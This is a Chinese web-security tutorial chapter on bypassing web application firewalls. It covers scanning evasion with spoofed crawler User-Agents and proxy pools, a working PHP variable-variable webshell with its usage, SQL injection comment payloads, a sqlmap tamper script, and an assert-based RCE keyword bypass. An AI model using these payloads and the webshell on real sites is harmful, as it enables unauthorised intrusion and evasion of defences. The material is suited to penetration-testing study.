《Web安全基础》09. WAF 绕过

web

  • 1:基本概念
    • 1.1:DoS & DDos
    • 1.2:CC 攻击
    • 1.3:扫描绕过方式
  • 2:WAF 绕过
    • 2.1:信息收集阶段
    • 2.2:漏洞发现阶段
    • 2.3:权限控制阶段
      • 2.3.1:密码混淆
      • 2.3.2:变量覆盖
      • 2.3.2:异或混淆
    • 2.4:漏洞利用阶段
      • 2.4.1:SQL 注入
      • 2.4.2:文件上传
      • 2.4.3:XSS
      • 2.4.4:RCE


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

1:基本概念

1.1:DoS & DDos

DoS(Denial of Service),通过发送大量请求等方式耗尽目标资源,使目标系统服务不可用。由单一攻击者或单一设备发起。

DDoS(Distributed Denial of Service Attack),与 DoS 类似,通过超载目标系统使其服务不可用。DDoS 涉及多个攻击者或僵尸机共同协作来攻击目标。

DoS 与 DDos 攻击的目标主要是系统主机。

1.2:CC 攻击

CC 攻击(Challenge Collapsar),一种特定类型的 DoS 攻击,攻击目标通常是 Web 服务器,如网站或 Web 应用程序。

CC 攻击的目标通常是网站或 Web 应用程序。

1.3:扫描绕过方式

扫描目标如果过快,可能会触发目标防火墙的流量检测拦截。

绕过思路,模拟正常请求的访问习惯:

  • 更改请求方式
    更改请求方式去请求数据。例如:HEAD 方式改为 GET 方式请求数据。

  • 模拟用户请求
    将扫描工具所提交的数据包尽可能的伪装成用户使用浏览器访问所提交的数据包。包括消除工具指纹。

  • 模拟爬虫引擎
    WAF 上有爬虫黑白名单机制。可通过修改 User-Agent 头模拟爬虫。

  • 代理池技术
    使用代理池,通过代理服务器扫描目标。可以实现每次请求更换源 ip,避免拦截。

  • 延时扫描
    降低扫描频率与速度。

2:WAF 绕过

WAF 拦截会出现在安全测试的各个层面,掌握各个层面的分析和绕过技术最为关键。

WAF 绕过层面:

  • 信息收集
  • 漏洞发现
  • 漏洞利用
  • 权限控制

2.1:信息收集阶段

在这里插入图片描述

一个网站目录扫描脚本:

# 搜索引擎爬虫模拟及模拟真实用户
import requests
import timeheaders = {'Connection': 'keep-alive','Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1',# 模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36# 模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)# 更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0;'' +http://www.baidu.com/search/spider.html)','Sec-Fetch-Dest': 'document','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si''gned-exchange;v=b3;q=0.9','Sec-Fetch-Site': 'none','Sec-Fetch-Mode': 'navigate','Sec-Fetch-User': '?1','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7','Cookie': 'xxx',  # 根据当前访问 cookie
}for paths in open('dict.txt', encoding='utf-8'):url = 'http://192.168.0.103:8081/'paths = paths.replace('\n', '')urls = url + paths# 如需测试加代理,或加入代理池需加代理proxy = {'http': '127.0.0.1:7777'}try:code = requests.get(urls, headers=headers, verify=False).status_codeprint(urls + '|' + str(code))except Exception as err:print('connecting error')# time.sleep(3)  # 模拟用户需延时(请求速度)

写脚本的原因是为了模拟用户真实的访问情况,并且可以对其有充足的控制,现有工具可能会有无法更改的请求内容。

相关资源:

《各大搜索引擎的User-Agent》
https://www.cnblogs.com/iack/p/3557371.html

2.2:漏洞发现阶段

在这里插入图片描述

相关资源:

A simple HTTP Request & Response Service - httpbin
http://httpbin.org

快代理
https://www.kuaidaili.com

proxy_pool
https://github.com/jhao104/proxy_pool

2.3:权限控制阶段

在这里插入图片描述

在权限控制阶段,对于后门代码命令的传输,可采取以下方式绕过 WAF:

  • 密码混淆
  • 变量覆盖
  • 异或混淆

除此以外,因为很多权限工具都被 WAF 识别了相关特征(如菜刀、蚁剑、冰蝎等),导致无法使用控制工具,这时就需要自己写工具。

相关资源:

Behinder
https://github.com/rebeyond/Behinder

AntSword
https://github.com/AntSwordProject/antSword

2.3.1:密码混淆

后门直接调用 system()phpinfo() 等敏感字段时会被 WAF 拦截。在绕过时,就需要配合截断(%00)或者相关密码技术处理。

例如 PHP 中的函数:

  • Base64 编解码
    • base64_encode($data)
    • base64_decode($base64string)
  • URL 编解码
    • urlencode($string)
    • urldecode($string)

2.3.2:变量覆盖

变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

示例

一个运用此原理的 PHP 后门(设后门文件为 webshell.php):

<?php$a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']); 
?>

利用:

# get 传参:
url + webshell.php?x=b&y=assert  
# 这样赋值后 $a=b, $$a=$b=assert
# 所以变为了 assert($_POST[‘z’]);
# 再通过 post 传递 payload 即可# post 传参:
z=phpinfo();

2.3.2:异或混淆

异或混淆,基于异或运算(XOR,Exclusive OR)。一种编码技术,通常用于对数据进行保护或混淆,使其难以理解。

相关工具与资源:

PHP 混淆加密脚本
https://github.com/djunny/enphp

在线 PHP 加密
https://phpjiami.com/phpjiami.html

异或加密 Webshell-venom
https://github.com/yzddmr6/as_webshell_venom

2.4:漏洞利用阶段

漏洞利用要注意相关工具扫描利用时绕过防火墙。对于 payload 也需要做绕过。

2.4.1:SQL 注入

手工注入绕过

 - 对敏感字符,使用注释(/**/)绕过- %23 代表 #- %0A 代表换行符 union %23a%0Aselect 1,2,3;%23 如:示例:id=-1%20union %23a%0Aselect 1,2,3;%23 id=-1/**&id=-1%20 union%20 select%201,2,3%23*/ id=-1%20union/*!44509select*/%201,2,3# mysql 特性:
# /*!x*/ 代表当 mysql 数据库版本大于 x 时,
# mysql 不再将其当作注释,从而将其运行。

SQLmap 工具绕过

 · 绕过指纹识别需要伪装 UA:--user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"或者使用 --random-agent,或者修改 sqlmap.conf 文件下的 agent。· 通过自写模块绕过敏感字段--tamper=xxx.py· 使用代理池绕过 CC 防护 --proxy=http:/IP:port

模块示例:

#!/usr/bin/env python"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef tamper(payload,**kwargs):retVal =""if payload:payload = payload.replace("union","%23a%0aunion")payload = payload.replace("select","/*!4457select*/")payload = payload.replace("%20","%23a%0a")payload = payload.replace(" ","%23a%0a")payload = payload.replace("database()","database%23a%0a()")return payload
sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py" --random-agent

2.4.2:文件上传

  • 数据溢出
  • 符号变异
  • 分号绕过
  • 换行绕过
  • 重复数据
  • %00 截断
  • 其他特性绕过

2.4.3:XSS

手工 XSS 绕过

  • 标签语法替代
  • 特殊符号干扰
  • 提交方式更改
  • 垃圾数据溢出
  • 加密解密算法
  • 结合其它漏洞绕过

XSStrike 工具绕过

  • 使用延时(--timeout)或者代理池(--proxy)绕过

2.4.4:RCE

 · 编解码绕过 base64,url 编码。注意:可变变量中传入 base64_decode() 函数可能会被拦截,此时就需要采用其他方式。· 关键字绕过 如 phpinfo();可以替换成如下写法:$y=str_replace('x','','pxhpxinxfo()');assert($y);· 变量覆盖参考【2.3.2:变量覆盖】。

得其所利,必虑其所害;乐其所成,必顾其所败。

——《说苑》(两汉)刘向

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/85946.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决方案:TSINGSEE青犀+智能分析网关助力智慧仓储智能化监管

为全面保障物流仓储的安全性与完整性&#xff0c;解决仓库管理难题&#xff0c;优化物流仓储方式&#xff0c;提升仓储效率&#xff0c;降低人工成本&#xff0c;旭帆科技推出智慧仓储AI视频智能分析方案&#xff0c;利用物联网、大数据、云计算等技术&#xff0c;对仓储管理进…

IDEA2023新UI回退老UI

idea2023年发布了新UI&#xff0c;如下所示 但是用起来真心不好用&#xff0c;各种位置也是错乱&#xff0c;用下面方法可以回退老UI

【轨道机器人】成功驱动伺服电机(学生电源、DCH调试软件、DH系列伺服驱动器)

1、硬件平台 工控机 学生电源 DH系列伺服驱动器 电机 调试平台&#xff1a;DCH 2、如何利用dch驱动电机 点击可驱动电机 下面的步骤是比较关键的几步&#xff1a; 3、遇到的问题 不能成功驱动电机&#xff0c;还和厂家那边打电话&#xff0c;询问 发现是这…

JavaScript简介引入方式(JavaScript基础语法、JavaScript对象、BOM、DOM、事件监听)

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 JavaScript简介&引入方式 简介&#xf…

智能生活从这里开始:数字孪生驱动的社区

数字孪生技术&#xff0c;这个近年来备受瞩目的名词&#xff0c;正迅速渗透到社区发展领域&#xff0c;改变着我们居住的方式、管理的方式以及与周围环境互动的方式。它不仅仅是一种概念&#xff0c;更是一种变革&#xff0c;下面我们将探讨数字孪生技术如何推动社区智能化发展…

基于微服务的第二课堂管理系统(素质拓展学分管理平台)SpringCloud、SpringBoot 分布式,微服务

基于微服务的第二课堂管理系统 一款真正的企业级开发项目&#xff0c;采用标准的企业规范开发&#xff0c;有项目介绍视频和源码&#xff0c;需要学习的同学可以拿去学习&#xff0c;这是一款真正可以写在简历上的校招项目&#xff0c;能够真正学到东西的一个项目&#xff0c;话…

基于springboot高校场馆预订系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

重新认识架构—不只是软件设计

前言 什么是架构&#xff1f; 通常情况下&#xff0c;人们对架构的认知仅限于在软件工程中的定义&#xff1a;架构主要指软件系统的结构设计&#xff0c;比如常见的SOLID准则、DDD架构。一个良好的软件架构可以帮助团队更有效地进行软件开发&#xff0c;降低维护成本&#xff0…

Leetcode171. Excel 表列序号

给你一个字符串 columnTitle &#xff0c;表示 Excel 表格中的列名称。返回 该列名称对应的列序号 。 例如&#xff1a; A -> 1 B -> 2 C -> 3 ... Z -> 26 AA -> 27 AB -> 28 ... 题解&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱…

mysqld_exporter监控MySQL服务

一、MySQL授权 1、登录MySQL服务器对监控使用的账号授权 CREATE USER exporterlocalhost IDENTIFIED BY 123456 WITH MAX_USER_CONNECTIONS 3; GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO exporterlocalhost; flush privileges;2、上传mysqld_exporter安装包&#…

Spring boot原理

起步依赖 Maven的传递依赖 自动配置 Springboot的自动配置就是当spring容器启动后&#xff0c;一些配置类、bean对象就自动存入到IOC容器中&#xff0c;不需要我们手动去声明&#xff0c;从而简化了开发&#xff0c;省去了繁琐的配置操作。 自动配置原理&#xff1a; 方案一…

MongoDB(一) windows 和 linux 之 Ubuntu 安装

数据库分类 一、关系型数据库&#xff08;RDBMS&#xff09; mysql 、Oracle、DB2、SQL Server 关系数据库中全都是表 二、非关系型数据库&#xff08;NO SQL&#xff09; MongoDB、Redis 键值对数据库 文档数据库MongoDB 下载 mongoDB https://www.mongodb.com/try/downloa…

获取文件最后修改时间

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Java源码 public void testGetFileTime() {try {String string "E://test.txt";File file new File(string);Path path file.toPath();BasicFileAttributes ba…

【视觉SLAM入门】8. 回环检测,词袋模型,字典,感知,召回,机器学习

"见人细过 掩匿盖覆” 1. 意义2. 做法2.1 词袋模型和字典2.1.2 感知偏差和感知变异2.1.2 词袋2.1.3 字典 2.2 匹配(相似度)计算 3. 提升 前言&#xff1a; 前端提取数据&#xff0c;后端优化数据&#xff0c;但误差会累计&#xff0c;需要回环检测构建全局一致的地图&…

Go 语言学习总结(9)—— Go 与 Java 全面对比总结

基本语法格式 Golang: 编码风格相对统一&#xff0c;简单&#xff0c;没有太多的语法糖等&#xff0c;Java层次清晰&#xff0c;全面面向对象。 变量相关 变量的声明及使用 在Java或者PHP、Python中&#xff0c;声明了变量&#xff0c;可以不使用&#xff0c;也不报错。 p…

JavaWeb开发-06-SpringBootWeb-MySQL

一.MySQL概述 1.安装、配置 官网下载地址&#xff1a;https://dev.mysql.com/downloads/mysql/ 2.数据模型 3.SQL简介 二.数据库设计-DDL 1.数据库 官网&#xff1a;http:// https://www.jetbrains.com/zh-cn/datagrip/ 2.表&#xff08;创建、查询、修改、删除&#xff09; #…

【完全二叉树魔法:顺序结构实现堆的奇象】

本章重点 二叉树的顺序结构堆的概念及结构堆的实现堆的调整算法堆的创建堆排序TOP-K问题 1.二叉树的顺序结构 普通的二叉树是不适合用数组来存储的&#xff0c;因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结构存储。现实中我们通常把堆(一种二叉树)使用顺序结构…

HTML常用基本元素总结

<!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title> biao qian</title> </head> <body><h1>这是标题1</h1> <h2>这是标题2</h2> <h3>这是标题3</h3><p> 这…

机器学习笔记 - 维度诅咒的数学表达

1、点之间的距离 kNN分类器假设相似的点也可能有相同的标签。但是,在高维空间中,从概率分布中得出的点往往不会始终靠近在一起。 我们可以用一个简单的例子来说明这一点。 我们将在单位立方体内均匀地随机绘制点(如图所示),并研究该立方体内测试点的 k 个最近邻将占用多少…

APM32F0XX/STM32F0XX停机模式功耗测试

打开Geehy-APM32F030x4x6x8手册看功耗描述。 下面进行代码配置&#xff0c;8M主频&#xff0c;进入停机模式。 STOP mode void Enter_Low_Power_Mode(void) {__HAL_RCC_PWR_CLK_ENABLE(); HAL_PWR_EnterSTOPMode(PWR_LOWPOWERREGULATOR_ON, PWR_STOPENTRY_WFI); SystemClock…